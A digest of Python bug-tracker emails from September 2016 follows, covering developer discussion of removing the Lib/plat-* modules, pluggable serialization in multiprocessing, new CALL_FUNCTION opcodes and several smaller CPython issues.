In-Reply-To: <1465396464.66.0.148764915141.issue27268@psf.upfronthosting.co.za>
Message-ID: <1473452966.49.0.144377747284.issue27268@psf.upfronthosting.co.za>


Nofar Schnider added the comment:

Tested and reviewed the patch on the relevant versions. Works well!

----------
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27268>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:30:55 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 09 Sep 2016 20:30:55 +0000
Subject: [issue28007] Bad .pyc files prevent import of otherwise valid .py
 files.
In-Reply-To: <1473277778.4.0.402834578842.issue28007@psf.upfronthosting.co.za>
Message-ID: <1473453055.84.0.63227173455.issue28007@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

I think we should definitely fall back to using the .py file.  A cache is an implementation convenience, not a language feature.

A student using an all-users install typically does not have admin access to delete bad .pyc files.  In Windows, a user install is by default hidden in the hidden %APPDATA% directory (location somewhat Windows version dependent).  Even I did not know until recently how to access files there.

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:35:14 2016
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 09 Sep 2016 20:35:14 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473453314.79.0.158142243188.issue28046@psf.upfronthosting.co.za>


Matthias Klose added the comment:

not sure if I fully understand:

 - The patch encodes the multiarch triplet into the _sysconfigdata
   name and installs it into the standard lib dir.
 - It removes the PLATDIR macro
 - what happens to the constants modules which are currently
   found in the platdir? These vary across architectures and
   should not be install in the standard lib dir.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:35:45 2016
From: report at bugs.python.org (Nofar Schnider)
Date: Fri, 09 Sep 2016 20:35:45 +0000
Subject: [issue27268] Incorrect error message on float('')
In-Reply-To: <1465396464.66.0.148764915141.issue27268@psf.upfronthosting.co.za>
Message-ID: <1473453345.67.0.307698516895.issue27268@psf.upfronthosting.co.za>


Nofar Schnider added the comment:

Assigning to Raymond for final approval.

----------
assignee: Nofar Schnider -> rhettinger
resolution:  -> works for me

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27268>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:36:47 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 20:36:47 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473453407.24.0.168170556484.issue28046@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Those were removed in #28027, by BDFL decree.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:40:19 2016
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 09 Sep 2016 20:40:19 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473453619.25.0.0314408788655.issue28046@psf.upfronthosting.co.za>


Matthias Klose added the comment:

this comes as a surprise. I can't remember that discussion and decision.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:41:47 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 20:41:47 +0000
Subject: [issue24320] Remove a now-unnecessary workaround from
 importlib._bootstrap.
In-Reply-To: <1432852496.91.0.597570741784.issue24320@psf.upfronthosting.co.za>
Message-ID: <20160909204143.21363.49414.B8A035E7@psf.io>


Roundup Robot added the comment:

New changeset 821663556d87 by Eric Snow in branch 'default':
Issue #24320: Drop an old setuptools-induced hack.
https://hg.python.org/cpython/rev/821663556d87

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24320>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:42:21 2016
From: report at bugs.python.org (Eric Snow)
Date: Fri, 09 Sep 2016 20:42:21 +0000
Subject: [issue24320] Remove a now-unnecessary workaround from
 importlib._bootstrap.
In-Reply-To: <1432852496.91.0.597570741784.issue24320@psf.upfronthosting.co.za>
Message-ID: <1473453741.48.0.346839589398.issue24320@psf.upfronthosting.co.za>


Changes by Eric Snow <ericsnowcurrently at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24320>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:44:00 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 09 Sep 2016 20:44:00 +0000
Subject: [issue27212] Doc for itertools,
 'islice()' implementation have unwanted behavior for recipe
 'consume()'
In-Reply-To: <1465018426.98.0.63725897135.issue27212@psf.upfronthosting.co.za>
Message-ID: <1473453840.68.0.163151561345.issue27212@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

The recipe should be modified to consume the initial values.  Something like this:

    start, stop, step = s.start or 0, s.stop or sys.maxsize, s.step or 1
    for i in zip(range(0, start), it):
        pass

The recipe needs to pass these tests:

    it = iter('abcdefghi')
    assert list(islice(it, 4, 4)) == []
    assert list(it) == ['e', 'f', 'g', 'h', 'i']
    assert(list(islice('ABCDEFG', 2)) == ['A', 'B'])
    assert(list(islice('ABCDEFG', 2, 4)) == ['C', 'D'])
    assert(list(islice('ABCDEFG', 2, None)) == ['C', 'D', 'E', 'F', 'G'])
    assert(list(islice('ABCDEFG', 0, None, 2)) == ['A', 'C', 'E', 'G'])

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27212>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:45:52 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 09 Sep 2016 20:45:52 +0000
Subject: [issue27212] Doc for itertools,
 'islice()' implementation have unwanted behavior for recipe
 'consume()'
In-Reply-To: <1465018426.98.0.63725897135.issue27212@psf.upfronthosting.co.za>
Message-ID: <1473453952.1.0.888486737912.issue27212@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee: rhettinger -> Nofar Schnider
nosy: +Nofar Schnider

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27212>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:47:42 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 20:47:42 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473454062.35.0.435308366148.issue28046@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Sorry, it happened at the sprint at Instagram.  Do you have a use for those modules that we need to reconsider?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:48:47 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Fri, 09 Sep 2016 20:48:47 +0000
Subject: [issue28039] x86 Tiger buildbot needs __future__ with_statement
In-Reply-To: <1473407641.18.0.0923940651973.issue28039@psf.upfronthosting.co.za>
Message-ID: <1473454127.39.0.182998084018.issue28039@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

Why do we even have a Tiger buildbot in 2016?  MacOS X Tiger 10.4 was released in 2005.  It is 11 years old.  Support for it from Apple ended 7 years ago in 2009.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28039>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:49:56 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 20:49:56 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473454196.04.0.338844367007.issue28027@psf.upfronthosting.co.za>


STINNER Victor added the comment:

FYI I first proposed to remove plat-* in 2011:
https://mail.python.org/pipermail/python-dev/2011-October/114105.html

That's why I added os.RTDL_* constants:
https://docs.python.org/dev/library/os.html#os.RTLD_LAZY

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:50:47 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 20:50:47 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473454247.42.0.276671860756.issue28046@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> this comes as a surprise. I can't remember that discussion and decision.

Removing these modules is not a new idea: I just posted a message to the issue #28027 to complete the history of this change.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:58:54 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 20:58:54 +0000
Subject: [issue28053] parameterize what serialization is used in
 multiprocessing
Message-ID: <1473454734.41.0.810069156927.issue28053@psf.upfronthosting.co.za>


New submission from Davin Potts:

Currently multiprocessing uses the pickle module for its serialization of objects to be communicated between processes.  Specifically v2 of the pickle protocols is now exclusively used to provide maximum compatibility, motivated by the desire for multiple versions of Python to be used simultaneously with multiprocessing.

Per conversations in issue26507, issue23403, and others, multiprocessing should offer the option to specify what serialization is to be used for the transport of data between processes.  Besides supporting requests to use a different version of the pickle protocol or using 3rd party tools like dill, a hook to specify the means for reducing objects to a transmittable form opens a door for other creative or higher performance strategies.

Ultimately, this is not an enhancement to add functionality but rather to reorganize the existing internals of multiprocessing to permit better control over its use of serialization.

----------
assignee: davin
messages: 275437
nosy: davin
priority: normal
severity: normal
status: open
title: parameterize what serialization is used in multiprocessing
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28053>
_______________________________________

From report at bugs.python.org  Fri Sep  9 16:59:35 2016
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 09 Sep 2016 20:59:35 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473454775.91.0.415853121483.issue28046@psf.upfronthosting.co.za>


Matthias Klose added the comment:

The removal is not following the guidelines to first deprecate these for a release, and then to remove them.  I know that at least the RTLD_* constants are used in a number of places, which will just stop working.

I'm not against removing these in 3.7, however they should be deprecated in 3.6 first. There is no harm done with this approach.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:00:49 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 21:00:49 +0000
Subject: [issue28053] parameterize what serialization is used in
 multiprocessing
In-Reply-To: <1473454734.41.0.810069156927.issue28053@psf.upfronthosting.co.za>
Message-ID: <1473454849.86.0.244211961442.issue28053@psf.upfronthosting.co.za>


Changes by Davin Potts <python at discontinuity.net>:


----------
components: +Library (Lib)

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28053>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:02:12 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 21:02:12 +0000
Subject: [issue26507] Use highest pickle protocol in multiprocessing
In-Reply-To: <1457403085.0.0.0995776764652.issue26507@psf.upfronthosting.co.za>
Message-ID: <1473454932.04.0.227665036723.issue26507@psf.upfronthosting.co.za>


Davin Potts added the comment:

Closing in deference to the enhancement described in issue28053.

----------
resolution:  -> duplicate
status: open -> closed
superseder:  -> parameterize what serialization is used in multiprocessing

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26507>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:03:32 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 21:03:32 +0000
Subject: [issue23403] Use pickle protocol 4 by default?
In-Reply-To: <1423258098.35.0.366066771775.issue23403@psf.upfronthosting.co.za>
Message-ID: <1473455012.97.0.20866142871.issue23403@psf.upfronthosting.co.za>


Davin Potts added the comment:

Closing in deference to the enhancement described in issue28053.

----------
nosy: +davin
resolution:  -> duplicate
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23403>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:04:52 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 21:04:52 +0000
Subject: [issue23403] Use pickle protocol 4 by default?
In-Reply-To: <1423258098.35.0.366066771775.issue23403@psf.upfronthosting.co.za>
Message-ID: <1473455092.72.0.585954172529.issue23403@psf.upfronthosting.co.za>


Changes by Davin Potts <python at discontinuity.net>:


----------
superseder:  -> parameterize what serialization is used in multiprocessing

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23403>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:05:03 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Fri, 09 Sep 2016 21:05:03 +0000
Subject: [issue26700] Make digest_size a class variable
In-Reply-To: <1459929550.45.0.656140899063.issue26700@psf.upfronthosting.co.za>
Message-ID: <1473455103.65.0.0182914356048.issue26700@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

I agree that adding a .default_digest_size attribute to the constructors in the hashlib module would be good... the challenge is in actually doing it.  Today they are not classes, they are built-in functions that come from one of two possible extension modules.  Adding properties to a built-in function is a challenge (I don't think that is even possible in the C API, PyMethodDef doesn't support that).

We could hack around it, wrap them in classes, etc.  But they have never been classes and there is little good reason for them to be a type.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26700>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:06:34 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 21:06:34 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473454775.91.0.415853121483.issue28046@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwaYm4hsuBSktu__qRDsGX6R0XCbC040JnCn_58VK+pWzw@mail.gmail.com>


STINNER Victor added the comment:

Matthias Klose added the comment:
> The removal is not following the guidelines to first deprecate these for a release, and then to remove them.  I know that at least the RTLD_* constants are used in a number of places, which will just stop working.

Please continue the discussion in the issue #28027, reopen it if you want.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:15:51 2016
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 09 Sep 2016 21:15:51 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473455751.04.0.291545775337.issue28027@psf.upfronthosting.co.za>


Matthias Klose added the comment:

the removal of these modules should follow the normal deprecation process, for 3.6, then be removed for 3.7.  There is no harm for this approach.

----------
nosy: +doko
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:17:45 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 09 Sep 2016 21:17:45 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473455751.04.0.291545775337.issue28027@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJKFu9x4ANt6s38KinNgo6Go=bQHp3yxCezjQ6De+aRLew@mail.gmail.com>


Guido van Rossum added the comment:

Why? Do you have a dependency on these? None of them are documented.
Do you propose to document them just so we can mark them deprecated?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:21:37 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 21:21:37 +0000
Subject: [issue27986] make distclean clobbers Lib/plat-darwin/*
In-Reply-To: <1473207374.66.0.540671136475.issue27986@psf.upfronthosting.co.za>
Message-ID: <1473456097.09.0.988458594889.issue27986@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Superseded by #28027.

----------
resolution:  -> out of date
stage: needs patch -> resolved
status: open -> closed
superseder:  -> Remove Lib/plat-*/* files

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27986>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:22:56 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 21:22:56 +0000
Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip
In-Reply-To: <1472282184.54.0.596998789435.issue27874@psf.upfronthosting.co.za>
Message-ID: <20160909212253.59651.18909.B272CCE1@psf.io>


Roundup Robot added the comment:

New changeset 672c5fe7372c by Steve Dower in branch 'default':
Issue #27874: Allows use of pythonXX.zip file as landmark on Windows
https://hg.python.org/cpython/rev/672c5fe7372c

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27874>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:23:13 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 21:23:13 +0000
Subject: [issue27810] Add METH_FASTCALL: new calling convention for C functions
In-Reply-To: <1471653166.26.0.257085519078.issue27810@psf.upfronthosting.co.za>
Message-ID: <20160909212311.21076.76900.C169EB5D@psf.io>


Roundup Robot added the comment:

New changeset a25c39873d93 by Victor Stinner in branch 'default':
Issue #27810: Add _PyCFunction_FastCallKeywords()
https://hg.python.org/cpython/rev/a25c39873d93

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27810>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:23:33 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 09 Sep 2016 21:23:33 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473456213.41.0.108526241269.issue27213@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Here is rebased patch.

----------
Added file: http://bugs.python.org/file44510/callfunc-10.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:26:22 2016
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 09 Sep 2016 21:26:22 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473456382.29.0.705918171367.issue28027@psf.upfronthosting.co.za>


Matthias Klose added the comment:

Since the 3.6 cycle, these modules are regenerated for the build, so they are not outdated anymore.  They are not a maintenance burden either.  So I'd like to see these available in 3.6, and documented as deprecated.  Then removed in 3.7.

Apparently the proposers for this removal don't have the time for an analysis before the beta, I don't have the time either. So pretty please let's revert that change, and instead have the deprecation documented.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:27:33 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 09 Sep 2016 21:27:33 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473456382.29.0.705918171367.issue28027@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJLWHhOpW+_AGc_0N6iT3X1_ztyoFZ36ULf0RAz=YCfukw@mail.gmail.com>


Guido van Rossum added the comment:

No, you need to demonstrate that they are used (despite undocumented).

On Fri, Sep 9, 2016 at 2:26 PM, Matthias Klose <report at bugs.python.org> wrote:
>
> Matthias Klose added the comment:
>
> Since the 3.6 cycle, these modules are regenerated for the build, so they are not outdated anymore.  They are not a maintenance burden either.  So I'd like to see these available in 3.6, and documented as deprecated.  Then removed in 3.7.
>
> Apparently the proposers for this removal don't have the time for an analysis before the beta, I don't have the time either. So pretty please let's revert that change, and instead have the deprecation documented.
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue28027>
> _______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:29:00 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 21:29:00 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473456540.51.0.373950681153.issue28027@psf.upfronthosting.co.za>


Zachary Ware added the comment:

I have been searching sources.debian.net, and have found no evidence of anything that would be broken by this.  Every use of these modules that I have found has been already wrapped in try/except ImportError, or is in code that is fairly obviously not meant for Python 3.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:35:24 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Fri, 09 Sep 2016 21:35:24 +0000
Subject: [issue28050] test_traceback is broken by new CALL_FUNCTION* opcodes
In-Reply-To: <1473448291.52.0.407071935548.issue28050@psf.upfronthosting.co.za>
Message-ID: <1473456924.4.0.0226490749001.issue28050@psf.upfronthosting.co.za>


Changes by Emanuel Barry <barry at dadadata.net>:


----------
nosy: +ebarry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28050>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:35:34 2016
From: report at bugs.python.org (Matej Cepl)
Date: Fri, 09 Sep 2016 21:35:34 +0000
Subject: [issue5680] Command-line arguments when running in IDLE
In-Reply-To: <1238798556.38.0.28468201552.issue5680@psf.upfronthosting.co.za>
Message-ID: <1473456934.6.0.0381261112028.issue5680@psf.upfronthosting.co.za>


Changes by Matej Cepl <mcepl at redhat.com>:


----------
nosy: +mcepl

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue5680>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:36:49 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 21:36:49 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473457009.04.0.430691691059.issue27213@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Here is rebased patch.

callfunc-10.patch looks like an even better enhancement compared to Python 3.5, nice work. Would you be ok to wait after the beta1 release? The change doesn't seem to change the bytecode too much, nor the C API, whereas I'm trying to push a few other changes for FASTCALL.

Moreover, I didn't understand fully the change, I left some questions.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:37:26 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 21:37:26 +0000
Subject: [issue28050] test_traceback is broken by new CALL_FUNCTION* opcodes
In-Reply-To: <1473448291.52.0.407071935548.issue28050@psf.upfronthosting.co.za>
Message-ID: <1473457046.1.0.44327328378.issue28050@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Serhiy proposed a fix in the issue #27213 (starting at callfunc-10.patch).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28050>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:37:30 2016
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 09 Sep 2016 21:37:30 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473457050.35.0.904660443571.issue28027@psf.upfronthosting.co.za>


Matthias Klose added the comment:

whatever you searched, there are regressions:

https://codesearch.debian.net/search?q=import+DLFCN

some of these have conditional imports, however even boost uses unconditional imports, and is often used as an embedded copy.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:40:11 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 21:40:11 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473457211.14.0.0230242731422.issue28027@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Those boost imports will never be triggered in Python 3, because sys.platform will never be 'linux2'.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:40:57 2016
From: report at bugs.python.org (Matej Cepl)
Date: Fri, 09 Sep 2016 21:40:57 +0000
Subject: [issue23665] Provide IDLE menu option to set command-line arguments
In-Reply-To: <1426376024.32.0.301061562538.issue23665@psf.upfronthosting.co.za>
Message-ID: <1473457257.41.0.282358790326.issue23665@psf.upfronthosting.co.za>


Changes by Matej Cepl <mcepl at redhat.com>:


----------
nosy: +mcepl

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23665>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:41:18 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 21:41:18 +0000
Subject: [issue27874] inconsistent sys.path behavior when using PythonXX.zip
In-Reply-To: <1472282184.54.0.596998789435.issue27874@psf.upfronthosting.co.za>
Message-ID: <1473457278.33.0.169056258191.issue27874@psf.upfronthosting.co.za>


Changes by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27874>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:42:26 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 21:42:26 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473457346.05.0.594375683977.issue28027@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> https://codesearch.debian.net/search?q=import+DLFCN

I see 8 projects: boost, trilinos, vtk6, openbabel, gdcm, paraview, ecasound, yade. It doesn't like a giant project to update them.


> boost1.58_1.58.0+dfsg-5.1/libs/mpi/build/__init__.py
>
> import sys
> if sys.platform == 'linux2':
>    import DLFCN as dl

It's not like this code already works on Python 3 :-) sys.platform was replace with "linux" on Python 3.

It's easy to replace this import with:

try:
   import DLFCN as dl
except ImportError
   import os as dl

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:44:30 2016
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 09 Sep 2016 21:44:30 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473457470.98.0.173894738085.issue28027@psf.upfronthosting.co.za>


Matthias Klose added the comment:

these projects are the ones packaged by Debian; there are surely others.  Now again, why can't the actual removal for 3.7, following the usual deprecation rules?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:45:47 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Fri, 09 Sep 2016 21:45:47 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473457547.66.0.363409246328.issue28027@psf.upfronthosting.co.za>


Changes by Xavier de Gaye <xdegaye at gmail.com>:


----------
nosy: +xdegaye

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:48:16 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 21:48:16 +0000
Subject: [issue27985] Implement PEP 526
In-Reply-To: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>
Message-ID: <20160909214813.48696.50186.2377D0C9@psf.io>


Roundup Robot added the comment:

New changeset ef3d30cc6b4f by Gregory P. Smith in branch 'default':
issue27985 - fix the incorrect duplicate class name in the lib2to3
https://hg.python.org/cpython/rev/ef3d30cc6b4f

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:52:58 2016
From: report at bugs.python.org (Davin Potts)
Date: Fri, 09 Sep 2016 21:52:58 +0000
Subject: [issue28053] parameterize what serialization is used in
 multiprocessing
In-Reply-To: <1473454734.41.0.810069156927.issue28053@psf.upfronthosting.co.za>
Message-ID: <1473457978.19.0.939115197933.issue28053@psf.upfronthosting.co.za>


Davin Potts added the comment:

Attaching patch containing refactorizations but missing update to docs for the purposes of review.

Introduces three new things:
* a function to get the current serializer/reducer
* a function to set the serializer/reducer
* an abstract base class to assist others in rolling their own reducers

----------
keywords: +patch
nosy: +eric.snow
stage:  -> patch review
Added file: http://bugs.python.org/file44511/issue_28053_missingdocs.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28053>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:55:21 2016
